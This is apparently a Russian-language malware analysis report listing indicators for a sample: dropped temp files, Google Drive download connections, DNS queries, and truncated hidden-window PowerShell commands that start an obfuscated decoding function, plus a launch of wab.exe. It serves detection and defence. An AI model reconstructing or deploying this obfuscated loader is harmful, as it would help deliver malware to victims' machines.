Техническая информация
- %WINDIR%\temp\cabf892.tmp
- %WINDIR%\temp\tarf8a2.tmp
- %WINDIR%\temp\cabe45.tmp
- %WINDIR%\temp\tare46.tmp
- %APPDATA%\bitab6b.tmp
- %APPDATA%\bit3805.tmp
- %APPDATA%\bitab6b.tmp
- %APPDATA%\bit3805.tmp
- %WINDIR%\temp\cabf892.tmp
- %WINDIR%\temp\tarf8a2.tmp
- %WINDIR%\temp\cabe45.tmp
- %WINDIR%\temp\tare46.tmp
- %APPDATA%\bitab6b.tmp в %APPDATA%\epilep.acc
- %APPDATA%\bit3805.tmp в %APPDATA%\epilep.acc
- 'drive.google.com':443
- 'pk#.goog':80
- 'do#########ocs.googleusercontent.com':443
- http://pk#.goog/gsr1/gsr1.crt
- 'drive.google.com':443
- 'do#########ocs.googleusercontent.com':443
- DNS ASK drive.google.com
- DNS ASK pk#.goog
- DNS ASK do#########ocs.googleusercontent.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "function Dogmatikk ([String]$bagtaep){$Jerem = 8;$Malac = ($bagtaep | Measure-Object -Character).Characters;For ($Avigatea=7; $Avigatea -lt $Malac-1; $Avigatea+=$Jerem){$Husker=$Husker+$bagta...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "function Dogmatikk ([String]$bagtaep){$Jerem = 8;$Malac = ($bagtaep | Measure-Object -Character).Characters;For ($Avigatea=7; $Avigatea -lt $Malac-1; $Avigatea+=$Jerem){$Husker=$Husker+$bagta...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "function Dogmatikk ([String]$bagtaep){$Jerem = 8;$Malac = ($bagtaep | Measure-Object -Character).Characters;For ($Avigatea=7; $Avigatea -lt $Malac-1; $Avigatea+=$Jerem){$Husker=$Husker+$bagta...
- '%ProgramFiles(x86)%\windows mail\wab.exe'